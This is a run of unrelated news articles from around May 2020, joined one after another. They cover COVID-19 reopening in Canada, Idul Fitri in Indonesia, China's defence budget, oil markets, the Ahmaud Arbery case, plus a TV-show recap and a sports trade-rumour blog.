Hairdressers, manicurists and other beauty care services will be allowed to open on the same date  but not in the greater Montreal and Joliette areas, where there are still significant COVID-19 outbreaks.

"This has to be done while ensuring everyone's protection  the protection of workers and clients as well," Health Minister Danielle McCann said Wednesday. "So there will be rigorous prevention measures set up."

Quebec's public health strategic adviser, Dr. Richard Masse, said visits to these types of service providers can be carried out safely if both the providers and the clients respect the rules.

"If it's done properly, there is a very good level of protection," he said.

No clarity on source of COVID-19 infections

But the level of uncertainty over where infections are happening in Ontario and Quebec as lockdown measures lift is compounded by the fact that a large number of cases in Canada have no known source of infection.

The federal government can only provide basic information on where infection is occurring for less than half of our more than 80,000 COVID-19 cases  and even that data is incomplete.

The latest available update from the Public Health Agency of Canada found 3,787 COVID-19 cases had travelled outside of Canada; 24,848 are from "domestic acquisition"; while a further 10,433 have "information pending."

Jeff McIntosh/The Canadian Press

But not all parts of the country have the same problem.

Alberta has expanded testing to asymptomatic close contacts of positive COVID-19 cases in an effort to find and isolate new cases before they turn into outbreaks.

While British Columbia, which looked like it could be among Canada's hardest-hit provinces early on in the pandemic, now appears to be one of the best positioned to reopen.

B.C. has greatly reduced its rate of new cases, expanded testing and contact tracing and mapped out the likely source of infection for the vast majority of its cases.

Ben Nelms/CBC

So should parts of the country be moving toward reopening even if they can't answer those key questions?

"Everybody would like them answered, but I think it's just not possible in the current circumstances to be able to think that we can," said Dr. Allison McGeer, an infectious disease expert and a professor at the University of Toronto's Dalla Lana School of Public Health.

"So if we can't do that, then the question becomes: Do we sit forever? Or do we move with everybody else in reducing precautions and watch to see what will happen?"

Ontario says its first phase of reopening is focused on "low-risk workplaces," and that public health officials will "carefully monitor each stage."

If the first stage of the gradual reopening of Ontario is successful, it will move toward second and third stages. If not, public health measures will need to be "adjusted and/or tightened."

There's really no way of knowing what the future holds for any part of the country as lockdown measures lift, McGeer says.

"The only way you can answer that question is by trying it out. There's not a rulebook. You can't know what's going to happen when you do this," she said.

"I hope that we all know, as Ontarians, as Canadians, that this step forward might be reversed, but we're going to try it out and we're going to see what happens."

1 step forward, 2 steps back?

But Canada should consider whether reopening then backtracking could ultimately set us back further.

South Korea was forced to take a step back from its reopening strategy last week after a cluster of cases at a nightclub district in Seoul called into question whether the country lifted certain restrictions too soon.

The incident led to an outbreak of more than 100 new cases and ultimately forced the country to shut down thousands of nightclubs indefinitely to prevent a spike in new cases.

Evan Mitsui/CBC

"If you don't have to backtrack at all, then it probably suggests that we waited too long to reopen," said Dhalla.

"What we don't want to have happen are large outbreaks that result in lots of people needing to be cared for in hospital and people dying, but I think it's inevitable that we will learn as we go."

McGeer said although it may not be palatable for Canadians to think about lockdown measures being reimposed if things don't go well, it may be part of our new reality as we test the waters of reopening.

"Honestly, I think it's the best we can hope for. We don't want to stay in lockdown unless it's essential that we stay in lockdown," she said.

"But if we can allow more activity and not get into trouble, then that's what we should be doing."

She said Canadians should brace themselves for the possibility of lockdown measures being lifted then reimposed for the foreseeable future until an effective treatment or vaccine against COVID-19 is developed.

"As long as we know that's where we're going and what's going to happen, I think people will be happier with being allowed to do some things for a while rather than staying in lockdown for the whole time," she said.

"But it's really important that people know that this might happen  that we might have to go back."
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Linkedin Alya Nurbaiti (The Jakarta Post) Jakarta  Fri, May 22, 2020 20:38 607 fc6853813033f564188675f8bd9b8c18 1 National COVID-19-in-Indonesia,idul-fitri-2020,Religious-Affairs-Ministry,MUI,Muhammadiyah,isbat Free

The government announced on Friday that the first day of Syawal month, which marks the Idul Fitri celebration, would fall on Sunday.

All the major Islamic organizations in the country have endorsed the decision made during a limited isbat (confirmation) meeting held by the Religious Affairs Ministry with the Indonesian Ulema Council (MUI) and other related institutions in Jakarta.

Several Islamic organizations attended Friday's meeting via video conference.

After combining both the hisab [astronomical calculation] and rukyat [lunar movement observation] methods, we have concluded that Idul Fitri this year will fall on Sunday, Religious Affairs Minister Fachrul Razi said.

He added that Saudi Arabia would also celebrate the holy day on Sunday.

The minister said that none of the observation teams deployed in 80 locations across the country had spotted the hilal (crescent moon) as of Friday evening.

Read also: MUI, Muhammadiyah call for Idul Fitri prayers at home

Prior to the announcement, the ministrys astronomy expert, Cecep Nurwendaya, explained his calculation. Based on the astronomical calculation, the moon sighted on Friday evening has yet to meet the criteria of a hilal, he said.

The head of House of Representatives Commission VIII overseeing religious and social affairs, Yandri Susanto, expressed his relief that the results of both the hisab and rukyat methods were aligned.

The Islamic organizations have also agreed to strengthen communication in the future so that we will consistently agree on the date of Idul Fitri, he said.

For years, the second-largest Islamic organization in the country, Muhammadiyah, had set different dates both for the start of the fasting month and for Idul Fitri.

This year, however, Muhammadiyah had already announced in February that Idul Fitri would fall on May 24 based on their hisab calculation.

As the moon was still below the horizon on Friday evening, the fasting month of Ramadan will be rounded up to 30 days.

Read also: COVID-19: Jokowi cancels Idul Fitri open house event at State Palace

This means Ramadan will end on Saturday, when Muslims are no longer fasting and performing tarawih (evening Ramadan prayers), and will celebrate Idul Fitri the next morning.

However, due to the COVID-19 pandemic, the MUI has advised Muslims in the country not to hold Idul Fitri prayers at mosques and other open spaces that involve a large mass of people.

On May 13, the MUI issued a fatwa that allows Idul Fitri prayers to be performed at homes in the so-called COVID-19 red zones, or areas where the outbreak has spread uncontrollably. In areas where the virus is largely contained, prayers can be done normally.

However, we still strongly appeal to Muslims in green zones to pray at home to curb the spread of COVID-19. Even so, Idul Fitri prayer is sunnah [not obligatory], MUI Fatwa Council chair Hasanuddin said, also pointing to the fact that even obligatory prayers such as Friday prayers had been avoided during the pandemic.

Istiqlal Grand Mosque in Jakarta has decided to celebrate the eve of Idul Fitri virtually, with only five people attending the takbir (chants and praises) procession at the mosque while adhering to the COVID-19 precautions.

The takbir will be broadcast via the Istiqlal Mosque YouTube channel and [state-run television network] TVRI, Istiqlal Mosque spokesperson Abu Hurairah said.

Read also: Idul Fitri collective leave moved to December due to COVID-19

After all, this years Ramadan has been embraced in a more tranquil manner than ever before, as the Religious Affairs Minister called on Muslims to avoid performing tarawih in congregations as well as visiting relatives graves (ziarah) and returning to their hometown for the mudik (exodus) tradition.
China's defence spending this year will rise 6.6% from 2019, according to a report issued at the opening of the country's annual meeting of parliament on Friday, a slower rate than last year. The figure, set at 1.268 trillion yuan ($178.16 billion), is closely watched as a barometer of how aggressively the country will beef up its military capabilities.

China set a 7.5% rise for the defence budget in 2019, outpacing what ended up as full-year gross domestic product (GDP) growth of 6.1% in the world's second-largest economy. China's economy shrank 6.8% in the first quarter of 2020 compared with a year earlier, as the novel coronavirus spread from the central city of Wuhan, where it emerged late last year.

China omitted a 2020 economic growth target for the first time and pledged government support for the economy in Premier Li Keqiang's work report on Friday, launching the country's annual parliament meeting. Despite the coronavirus outbreak, the armed forces of China and the United States have remained active in the disputed South China Sea and around Chinese-claimed Taiwan. The coronavirus has worsened already-poor ties between Beijing and Washington.

The Ministry of State Security warned in a recent internal report that China faced a rising wave of hostility in the wake of the coronavirus outbreak that could tip relations with the United States into armed confrontation. China routinely says that spending is for defensive purposes, that it is a comparatively low percentage of its GDP, and that critics just want to keep the country down.

China reports only a raw figure for military expenditure, with no breakdown. It is widely believed by diplomats and foreign experts to under-report the real number. Taking the reported figure at face value, China's defence budget in 2020 is about a quarter of the U.S. defence budget last year, which stood at $686 billion.

China has long argued that it needs much more investment to close the gap with the United States. China, for example, has only two aircraft carriers, compared with 12 for the United States. Experts point out that increasing defence spending could give the economy a much-needed shot in the arm, with manufacturing struggling and domestic consumption slack over worries about job security.

Also read: Yuan softens on trade threats, focus turns to parliamentary meeting
South Korea has reported 20 new coronavirus cases, including nine in the Seoul metropolitan area, as authorities scramble to stem transmissions while proceeding with a phased reopening of schools.

The figures announced Friday by the Korea Centers for Disease Control and Prevention brought national totals to 11,142 cases and 264 deaths. Nine other new cases were linked to international arrivals.

South Korea was reporting around 500 new cases a day in early March but has since managed to stabilize infections with aggressive tracing and testing. Officials have eased social distancing measures and began reopening schools, starting with high school seniors on Wednesday.

But students at dozens of schools in Incheon, near Seoul, were sent back home after some tested positive after visiting a karaoke room or taking private classes from a virus carrier.

Health Minister Park Neung-hoo pleaded with people Friday to avoid visiting karaoke rooms or computer gaming centers near schools to lower infection risks for students.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Lost, which ended 10 years ago tomorrow (23 May), has the most misunderstood finale of all time.

Upon its initial broadcast, the divisive two-parter caused a large number of disappointed to incorrectly think: Oh, so they were dead all along.

Fortunately, were on hand to debrief you on what actually happened in that final scene so that the next time someone makes the above statement  most probably after working their way through the series on Amazon Prime  you can roll your eyes and direct them to this (as well as this new oral history of the show featuring words from Damon Lindelof, Evangeline Lilly and Jorge Garcia).

BEWARE  major spoilers for the ending of LOST follows.

The final ever scenes of Lost are intercut between events on the island and an alternate timeline known as the flashsideways  scenes that replace the flashbacks and flashforwards for the entire final season.

Recommended What the cast of Lost think about the ending 10 years on

These flashsideways scenes come after Juliet (Elizabeth Mitchell), stuck in the 1970s, detonates a hydrogen bomb in the closing moments of season five in an attempt to prevent the hatch from ever being built. The logic is that, should the hatch never be created, Oceanic Flight 815 will never crash on the island. The flashsideways show what would have happened had the plane landed safely in Los Angeles.

All season long, viewers see the characters rubbing shoulders with one another in Los Angeles, unaware of the events of the past five seasons.

Eventually, these characters are drawn together and begin to recall their time on the island, which leads to the final scenes revelation: they are actually dead in the flashsideways, which is essentially a netherworld the survivors created in order to congregate so they can move on together to whatever comes next.

So, to clear up the confusion: in the flashsideways scenes, these characters are dead. But no, they were not dead all along after the plane crashed.

The flashsideways scenes depict an afterlife that the characters constructed for themselves due to the fact that their time on the island  which was completely real from start to end  was the most important part of their respective lives.

The characters present in that final church scene are characters both dead and alive in island time, meaning several characters (including Kate, Sawyer and Claire) went on to live a full life beyond the series finale.

Access unlimited streaming of movies and TV shows with Amazon Prime Video Sign up now for a 30-day free trial Sign up

These flashsideways scenes present a purgatory-of-sorts, where these characters come to when they eventually do die whenever that may be. When broken down, its a beautiful and reassuring depiction of the afterlife.

The plane crash, the smoke monster, the hatch, the island  it was all real.

Of course, it almost all ended rather differently...
At least 35 migrants were injured as the bus they were travelling in overturned in Uttar Pradeshs Nawabganj on Friday.

The bus was headed from Rajasthans Jaipur to West Bengal when it overturned in Nawabganj in the trans-Ganga area of the Prayagraj district.

Police said there were no casualties in the accident.

According to reports, one of the tyres of the bus reportedly burst following which the driver lost control on the steering and the bus overturned with migrant workers trapped inside.

On hearing cries, locals rushed to the spot and informed the police.

Senior police officials reached the spot and started the rescue operation.

IG Range Prayagraj KP Singh said the accident took place after one of the tyres of the bus burst.

The injured workers have been rushed to the nearby Nawabganj and Kaudihar primary health centres (PHCs) where they are undergoing treatment, he added.
FREDERICTON - New Brunswick moved into the next phase of its COVID-19 recovery plan on Friday, allowing barbers and hair stylists to reopen while permitting people to expand their social "bubbles" to include close friends and family.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

FREDERICTON - New Brunswick moved into the next phase of its COVID-19 recovery plan on Friday, allowing barbers and hair stylists to reopen while permitting people to expand their social "bubbles" to include close friends and family.

The "yellow level" of the province's recovery plan, to be rolled out in stages over the next several weeks, will eventually allow churches, gyms, bowling alleys and yoga studios to reopen their doors.

New Brunswick Premier Blaine Higgs speaks with the media in Fredericton on February 17, 2020. New Brunswick is set to move to the next phase of its COVID-19 recovery plan today. The so-called "yellow phase" means barbers and hair stylists can reopen, as well as churches and fitness facilities. Premier Blaine Higgs has also hinted he may be ready to ease his ban on temporary foreign workers in an effort to fill jobs on farms and in fish processing facilities. THE CANADIAN PRESS/Stephen MacGillivray

"We have all been a part of achieving this, and I want to thank all New Brunswickers for the continued co-operation and patience," Premier Blaine Higgs said.

Starting Friday, non-regulated medical services along with personal service businesses such as beauty salons and tattoo parlours will be allowed to reopen. More businesses and services will resume in waves over the next few weeks.

Effective immediately, New Brunswickers can also form so-called "bubbles" with up to 10 family and friends.

"You can now spend time with close friends and family members who you would normally see on a regular basis," Higgs said. "We are asking you to keep your circle of friends and family as small and reasonable as possible, especially if you have a vulnerable person in your family, or a child who attends daycare."

Starting May 29, additional public gatherings of 50 people or fewer will be allowed as long as there is physical distancing.

As well, swimming pools, saunas, water parks, gyms, yoga and dance studios, rinks, pool halls and bowling alleys will be able to open.

Also starting May 29, temporary foreign workers will be allowed to enter the province  something Higgs confirmed Friday.

The government had imposed a ban on those workers last month as part of tighter border restrictions aimed at keeping the virus from coming into the province.

"We are still prioritizing the safety of New Brunswickers, but as we restart our economy we also have to find ways to meet the needs of the agriculture and seafood sectors. Our plan was always to allow temporary foreign workers into the province once it was safe to do so," Higgs said.

The ban caused an uproar among farmers who said the shortage of workers would force them to limit what they plant this year, and fish processors who said they would have to turn away some of the lobster they would normally buy.

The temporary foreign workers will still have to be quarantined for 14 days once they arrive in New Brunswick.

On Friday, Martin Mallet, executive director of the Maritime Fishermen's Union, said lifting the ban now is a bit late.

"The fishing season is short. It is finishing at the end of June. By the time these people come in and have a two-week quarantine, you're looking at mid-June before they can be up and running. The season is almost done by then," he said.

As the final part of the yellow phase, overnight camps will be allowed to open on June 19.

The move to the next phase comes a day after the province reported its first new case of COVID-19 in almost two weeks.

The case reported Thursday in the Campbellton region in northern New Brunswick involves a person under the age of 19.

Dr. Jennifer Russell, the province's chief medical officer of health, said a daycare in that region has been closed until further notice, and family and staff have been notified.

"This is a timely reminder that as far as we have come, we still have a long way to go," Russell said.

"We have to continue to move very carefully because this is a global pandemic and until the global pandemic is over, we are going to be in this position," she said.

There were no new cases Friday, leaving the total to date at 121 cases, with 120 of them recovered.

This report by The Canadian Press was first published May 22, 2020.
6:15pm: The deal is official, as per a press release by the Pirates. The deal is Chavez for Iwamura straight-up.



4:34pm: ESPN's Buster Olney tells us the Rays will receive reliever Jesse Chavez in return. Chavez, 26, posted a 4.01 ERA in 67.3 innings this year as a rookie, with a 6.3 K/9 and 2.9 BB/9. He throws hard  his average fastball was 94.5 mph. Chavez is under team control through 2014.

Kovacevic believes the Pirates "will probably get another player in the Iwamura deal." He notes that Iwamura would be the Pirates' highest-paid player.

3:35pm: Topkin says Iwamura is headed to the Pirates, and the deal will be announced tonight. MLB.com's Jenifer Langosch does not believe the Bucs will surrender an established player. I'm a bit surprised they're willing to take Iwamura on at that salary, not that he's bad value.

3:04pm: Dejan Kovacevic of the Pittsburgh Post-Gazette tweets that he's hearing the Pirates are part of the Iwamura trade talks. MLB.com's Joe Frisaro believes the Marlins would have interest, but not if they had to assume Iwamura's entire contract.

2:41pm: Roger Mooney of the Bradenton Herald believes Iwamura is headed to an NL club.

12:45pm: Marc Topkin of the St. Petersburg Times hears that the Rays are on the verge of trading Akinori Iwamura. Topkin's source, who's not with the Rays, says the team close to acquiring Iwamura is not the Dodgers or Cubs.

The Rays have until one day after the end of the World Series to pick up Iwamura's $4.85MM option or buy him out for $550K. The Rays don't need Iwamura thanks to Ben Zobrist's emergence, but it's not surprising that other teams have interest in the Japanese infielder. The 30-year-old has a career line of .281/.354/.393 and he plays a solid second base, according to UZR/150.
The US president called one study a Trump enemy statement.

He called another a political hit job.

As President Donald Trump pushes to reopen the country despite warnings from doctors about the consequences of moving too quickly during the coronavirus crisis, he has been lashing out at scientists whose conclusions he dislikes.

Twice this week, Trump has not only dismissed the findings of studies but suggested  without evidence  that their authors were motivated by politics and to undermine his efforts to roll back coronavirus restrictions.

First, it was a study funded in part by his own governments National Institutes of Health that raised alarms about the use of hydroxychloroquine, finding higher overall mortality in coronavirus patients who took the drug while in Veterans Administration hospitals. Trump and many of his allies had been trumpeting the drug as a miracle cure and Trump this week revealed that he has been taking it to try to ward off the virus  despite an FDA warning last month that it should only be used in hospital settings or clinical trials because of the risk of serious side effects, including life-threatening heart problems.

If you look at the one survey, the only bad survey, they were giving it to people that were in very bad shape. They were very old, almost dead, Trump told reporters on Tuesday. It was a Trump enemy statement.

A different analysis, published in the Lancet on Friday, that examines coronavirus patients worldwide who took hydroxycloroquine or the closely related drug chloroquine, found similar results: Those who received the drug had a significantly higher risk of death.

US President Donald Trump announced on May 18 he had been taking hydroxychloroquine for almost two weeks as a preventive measure against COVID-19 [George Frey/AFP]

The president also offered pushback on Thursday to a new study from Columbia Universitys Mailman School of Public Health. It found that more than 61 percent of COVID-19 infections and 55 percent of reported deaths  nearly 36,000 people  could have been prevented had social distancing measures been put in place one week sooner. Trump has repeatedly defended his administrations handling of the virus in the face of persistent criticism that he acted too slowly.

Columbias an institution thats very liberal, Trump told reporters Thursday. I think its just a political hit job, you want to know the truth.

Trump has long been sceptical of mainstream science  dismissing human-made climate change as a hoax, suggesting that noise from wind turbines causes cancer and claiming that exercise can deplete a bodys finite amount of energy. It is part of a larger scepticism of expertise and backlash against elites that has become increasingly popular among Trumps conservative base.

But undermining Americans trust in the integrity and objectivity of scientists is especially dangerous during a pandemic when the public is relying on its leaders to develop policies based on the best available information, said Larry Gostin, a Georgetown University law professor who is an expert in public health.

If the president is politicising science, if hes discounting health experts, then the public is going to be fearful and confused, Gostin said, calling it dismaying.

The White House rejected that thinking, noting that Trump has followed his administrations public health officials recommendations through much of the crisis.

Any suggestion that the president does not value scientific data or the important work of scientists is patently false as evidenced by the many data-driven decisions he has made to address the COVID-19 pandemic, including cutting off travel early from highly-infected populations, expediting vaccine development, issuing the 15-day and later 30-day guidance to slow the spread, and providing governors with a clear, safe road map to opening up America again, said White House spokesman Judd Deere.

Dangerous for president to play doctor, scientist on TV

Yet Trump has made clear that, at least when it comes to hydroxychloroquine, he has prioritised anecdotal evidence, including a letter he told reporters he had received from a doctor in Westchester, New York, claiming success with the drug.

Asked this week what evidence he had that the drug was effective in preventing COVID-19, Trump responded: Are you ready? Heres my evidence: I get a lot of positive calls about it.

The veterans study, funded by grants from the NIH and the University of Virginia, was not a rigorous experiment, but a retrospective analysis by researchers at several universities looking at the effects of hydroxychloroquine on patients at veterans hospitals across the nation. It found no benefit and more deaths among those given hydroxychloroquine versus standard care alone. The work was posted online for researchers and has not been reviewed by other scientists.

The Columbia study, in draft form, also has not yet been published or reviewed by other experts. The researchers ran numbers through a mathematical model, making assumptions about how quickly the coronavirus spreads and how people behave in hypothetical circumstances.

US President Donald Trump watches workers on the assembly line manufacturing protective masks for the coronavirus disease (COVID-19) outbreak during a tour of a Honeywell manufacturing facility in Phoenix, Arizona [File: Tom Brenner/Reuters]

Trumps criticism of the studies also comes as his allies have been eager to counter messages from public health experts who say the president is putting lives at risk by pushing states to quickly reopen in an election year. Republican political operatives have been recruiting pro-Trump doctors to go on television to advocate for reviving the US economy as quickly as possible, without waiting to meet federal safety benchmarks.

Gostin said Trump should leave it to his public health agencies to assess emerging data and the value of various studies.

I think there are real dangers, he said, for the president to play scientist and doctor on TV.
Oil prices are continuously rising despite the uncertainty surrounding COVID-19, with WTI nearing a two-month high on Friday morning

For further research, analysis and trade recommendations, make sure you read this morning's Global Energy Alert newsletter. From an analysis of Saudi Arabia's current economic crisis to the latest updates on COVID-19, it truly is a must-read.

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Friday, May 22nd, 2020

The long rally for oil prices came to a halt on Friday over fears about a slower-than-expected economic recovery in China. The Chinese government broke with tradition and declined to set a growth target for 2020 due to great uncertainty. Markets were also disappointed with the tepid size of government stimulus from Beijing. Meanwhile, rising U.S.-China tension adds to the concerns.

Chinas oil imports to rise. Despite questions about economic growth, Chinas oil imports are set to rise by about 2 percent this year. In fact, Chinas oil demand is already back to about 90 percent of pre-pandemic levels. Related: The Worlds Most Controversial Oil Frontier Falls Out Of Favor With Big Banks

Continental asks for regulated cuts. Continental Resources (NYSE: CLR) askedNorth Dakota regulators to order mandatory production cuts or flaring limits.

Tengiz oil field threatened by COVID outbreak. One of the worlds largest oil fields may need to shut down because dozens of workers have been infected by the coronavirus. The Tengiz oil field, produces 500,000 bpd in Kazakhstan, faces a potential closure, the government said. Almost 950 workers at the site have tested positive. Chevron (NYSE: CVX) is the lead on the project.

Oil majors reduce clean energy deals. The oil majors only closed 3 renewable energy deals in the first quarter, compared to 17 in the same quarter a year earlier.

Shell evacuates Iraq staff. Royal Dutch Shell (NYSE: RDS.A) said that it evacuatedaround 60 foreign staff from Iraqs Basra Gas Company as a security precaution following a protest over pay.

Angolas oil exploration grinds to a halt. All international companies operating in Angola  Total (NYSE: TOT), Chevron (NYSE: CVX), ExxonMobil (NYSE: XOM), BP (NYSE: BP), and Eni (NYSE: E)  have idled or scrapped drilling rigs in the country, according to Reuters. We have suspended all our drilling activities like all other operators in Angola, Total said in a statement. Total makes up half of Angolas output.

Argentina sets $45 oil price. The Argentine government fixed domestic oil prices at $45 per barrel in an attempt to prevent a collapse of its oil industry. The price would be voided if Brent moves above $45 for 10 days. The policy will last until the end of 2020, but there are questions about its efficacy. The collapse in demand means there is already a surplus, leaving little room for drillers to ramp up. Meanwhile, YPF (NYSE: YPF) said it would ditch plans to expand LNG exports from the country.

GM nears battery for 1 million miles. GM (NYSE: GM) said it was almost there in developing a battery for electric vehicles that could last for 1 million miles. The next-generation battery would use zero-cobalt electrodes.

IEA: renewables fall in 2020, rebound next year. The IEA said that renewable energy installations will decline by 13 percent compared to 2019 levels, but will rebound to pre-pandemic growth rates in 2021. At the same time, the pandemic will cut into coal, helping to speed the clean energy transition.

Shell plans voluntary job cuts. Royal Dutch Shell (NYSE: RDS.A) said it plans to offer voluntary severance for staff to cut costs.

Libyas war shifts against Haftar. The forces of the Government of National Accord (GNA) have overrun an air base near Tripoli, beating back the Libyan National Army. The move is a setback to the warlord Khalifa Haftar, and it could theoretically lead to the restart of some shuttered oil fields. However, the LNA still controls the main ports of the country. Libya is only exporting 90,000 bpd, down from 1.2 mb/d last year.

Poor oil states struggling to repay deals. Some poorer oil-producing countries that previously made oil prepayment deals  deals that consist of a payment of cash to the country, repaid by oil exports  are under serious pressure as they need to diver more oil to satisfy the terms of the deal. For instance, Kurdistan is struggling to repay a $500 million prepayment deal with Glencore (LON: GLEN). Related: Natural Gas Drillers Face Price Meltdown As Storage Fills Fast

Hedges lose advantage for shale drillers. Hedging future production is becoming less of an advantage for shale drillers. Oil prices are too low and also are more costly after a bout of volatility, including negative prices. There has been a dearth of opportunities to hedge for 2021, and this is traditionally the time period when you lean into next years hedging at more robust levels, Michael Tran, managing director of global energy strategy at RBC Capital Markets, told Bloomberg. Roughly half of U.S. producers tracked by Bloomberg have their production hedged for 2021. Still, the fact that some are still hedging demonstrates fears that prices could slide back below $30 per barrel next year.

Europe to unveil Green Deal. The European Union will unveil details on its Green Deal proposal next week, a $500 billion green stimulus package aimed at bolstering EVs, renewable energy and other clean energy initiatives.

U.S. LNG cancellations rise. About 45 LNG cargoes scheduled to be exported from U.S. ports in July have been canceled, according to S&P Global Platts. At least half of them are tied to Cheniere Energys (NYSE: LNG) two Gulf Coast terminals.

Dallas Fed: U.S. economy doesnt benefit from low prices. A new study from the Dallas Federal Reserve found that the slide in oil prices has been negative for the U.S. economy, outweighing the benefits to the consumer from lower gasoline prices. The decline results in lower fixed-investment from the oil industry, and it also may put stress on the banking system.

By Josh Owens for Oilprice.com

More Top Reads From Oilprice.com:
William Bryan, the man who recorded the February killing of Ahmaud Arbery, has been arrested and charged with felony murder and criminal attempt to commit false imprisonment, the Georgia Bureau of Investigation said Thursday. The 50-year-old is the third person to be charged in connection with Arbery's death.

Arbery, an unarmed 25-year-old black man, was killed on February 23 in a neighborhood in Georgia. No arrests were made in the case until this month, when newly revealed cellphone footage taken by Bryan showed 64-year-old Gregory McMichael and his 34-year-old son, Travis, confront Arbery before shooting him.

Gregory and Travis were both arrested on May 9. Travis was charged with murder and aggravated assault, and Gregory was charged with party to murder and aggravated assault.

On the day of the shooting, Arbery was spotted walking around an open construction site and the McMichaels pursued him in a pickup truck, according to the police report. When they passed Bryan's home, Bryan got in his own vehicle and followed, The New York Times reported.

When Arbery ran around the McMichaels' car, Bryan tried to block him, Gregory McMichael told investigators. Arbery ran past Bryan's car, too, and the two vehicles reportedly turned around and continued pursuing him. At 1:14 p.m., Bryan took the video of Travis shooting Arbery, the Times said.

McMichael told police he thought Arbery was a burglary suspect, adding that Arbery "violently" attacked his son, and the two fought "over the shotgun" before Travis shot him twice.

In an interview with CBS affiliate WJAX, Bryan said he had "nothing to do" with Arbery's death. "I had nothing to do with it. I'm trying to get my life back to normal, and it's been smeared for the last week," Bryan said. "I was told I was a witness and I'm not sure what I am, other than receiving a bunch of threats."

Story continues

"My client was responding to what he saw, which was someone in the community he didn't know being followed by a vehicle he recognized," Bryan's attorney told the outlet. "Without going into details about the level of crime in this community in this subdivision, I think most people in this subdivision were aware that there were issues."

Attorneys for Arbery's family commended Bryan's arrest. "The family of Ahmaud Arbery was relieved to learn that the Georgia Bureau of Investigation has taken William 'Roddie' Bryan into custody," the lawyers said in a statement. "We called for his arrest from the very beginning of this process. His involvement in the murder of Mr. Arbery was obvious to us, to many around the country and after their thorough investigation it was clear to the GBI as well."

Investigators to examine safety issues that may have worsened Michigan flooding

Trump says U.S. wouldn't close over second wave of coronavirus

Deadly passenger plane crash in Karachi, Pakistan




The Oyo State chapter of the All Progressives Congress has berated the Seyi Makinde-led administration for allegedly seeking N20bn infrastructure loan from a commercial bank

The main opposition party also accused the administration of failing to uphold the tradition of prudent management of the states scarce resources.

The Oyo State Government had on Tuesday, announced that it had obtained the approval of the state assembly to collect the loan for the development of infrastructure in the state.

In a statement signed by its state Assistant Publicity Secretary, Ayobami Adejumo, the APC said, The administration of Governor Seyi Makinde has failed to sustain the legacy of prudent and accountable management of resources. In less than a year, the table has turned for the bad as what the people of Oyo State experience at the moment is a government without direction.

The whole world was again taken aback, on Tuesday, when it was reported that Governor Makinde was to get a fresh loan of N20bn. That brought the sum total of loan facilities already taken, in about 11 months, to over N40bn. The previous being an N10bn Infrastructure loan; N7.6billion Agricultural loan purportedly for the upgrade of two farm settlements in Akufo and Eruwa; and another N2.5bn health loan.

All this happened at the same period when monthly federal allocations, refunds from the Federal Government, monetary grants and donations came in simultaneously and without anything to show for it.

Makinde stated during his 2019 electioneering that if he became the governor of Oyo State, he would improve the economy of the state such that in just six months salaries and pensions would be paid without relying on monthly handouts from Abuja or loan facilities.

More importantly, we are calling on the state House of Assembly to grow from being active only when there are loan request or fresh appointments to approve by being responsive to their constitutional duties which include the governor on the issue of financial recklessness and high handedness.

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More behind the cutTells funny story that her husband would rather dye her hair than go for a walk. It was a messy event and shes now a cross between Cindi Lauper and Carrot Top. Shows her roots that are no longer gray but now theyre orange. Sunny is two-tone now but not sure about her husband coloring her hair. She may do something this weekend. Meghan has 10 of gray. Wants people to know that The View ladies arent cheating /like others/ by going to a salon. Meghan wont let her husband touch her hair. She has to bleach her hair, and it might burn off and make her bald, might be better than now. Whoopi is wysiwyg.TidePodTrump went to Ford plant today (refused to wear a mask, so Michigan AG said he wouldnt be allowed back). Plays clip about tremendous illegality in mail in ballots while rationalizing his own ballot to be mailed to Florida. He is so full of sht. Study after study has proven that rampant voter fraud is a myth, there has never been widespread voter fraud, and that no major voter fraud has changed the outcome of a Presidential election. There are some one-offs, like a Judge during a primary stuffed his own ballot box repeatedly (lol), and the GOP mass voter fraud in NC in 2018 mid-terms that resulted in a new special election. Anyway here are your talking points for people who claim vote by mail is bad1-the military has voted by mail for 200+ years2-Oregon has voted by mail for 22+ years (plus other states, for lesser years)3-Republican Governors are allowing vote by mail too but T45 is only complaining about Democrat Governor states4-A president cant interfere with a states decision to allow vote by mail5-A president cant withhold funding from a state over a states legal decisionFck that guyFirst they talk about hydroxyfjslkjline (which now T45 claims he is stopping). CS says he might have `claimed` it for xyz reasons, or just made it up (lol). Then they talk about Columbia study published in NYT that said approx. 36K lives couldve been saved if stay at home orders had been given even just one week earlier [wonder how many lives wouldve been saved if we backed it up to first week of Feb]. Next they talk about /plays clip/ DeSantis comments who claims FL has lower death rate despite reckless guidelines. Except FL has been caught lying about their diagnosed cases and deaths, and at least one FL official was fired because they refused to fudge data. Moves to Heroes Act, the next stimulus package passed by the House, that McConnell refuses to consider.ABC News is airing a 3-night special re/Covid impact on poc (Wed-Thu-Fri)*. They discuss disparity. CS gives props to Finland, New Zealand, Germany, Singapore, Australia, Hong Kong  4 of which are led by women. Next up: screaming minority of protesters vs silent majority who want restrictions and guidelines in place.Then firing the latest Inspector General of State Dept. First leak is because Pompeo was having a staffer run all his familys personal errands, but that was to cover for the bigger leak about Saudi deal. Fascist Donnie has now fired 4 IG because they arent loyal to his fascist regime. Obamagate is a nothingburger, ignore it. Susan Rices unredacted emails were released, where she documented Obama wanted everything run by the book (like, that's bad?!) and then it was revealed that Flynns name was never unmasked. They cant even fake conspiracy anymore. More talk about voting by mail.Meghan recognizes Ben Platt honoring Columbia graduates, plays clip.[This was on the Hulu upload, they may have cut this from the upload clip]. Sunny highlights from Stephen Kingswith Whoopi, shows photos.Source links are below each video or section
Former Vice President Joe Biden participates in a Democratic presidential primary debate at CNN Studios in Washington on March 15, 2020. (Evan Vucci/AP Photo)

Biden Would Not Raise Taxes on Americans Earning Less Than $400,000

Presumptive Democrat nominee Joe Biden said on Friday that he would not raise taxes on people earning less than $400,000 per year.

Biden made the remarks in an interview with CNBC, in which he said economic recovery from the outbreak of COVID-19, the disease caused by the CCP (Chinese Communist Party) virus, seems to be a long way away.

Nobody making under 400,000 bucks would have their taxes raised. Period. Bingo, the former vice president told CNBCs Andrew Ross Sorkin.

The shutdowns and associated plummeting demand destroyed a record 20.5 million jobs in April, according to Labor Department figures released May 8, and pushed the unemployment rate to 14.7 percent, both post-World War II records.

Newest Labor Department figures released Friday show that, in April, 43 states reported record levels of unemployment, with hardest-hit Nevada, heavily reliant on the embattled hospitality industry, surging 21.3 percentage points to a jobless rate of 28.2 percent.

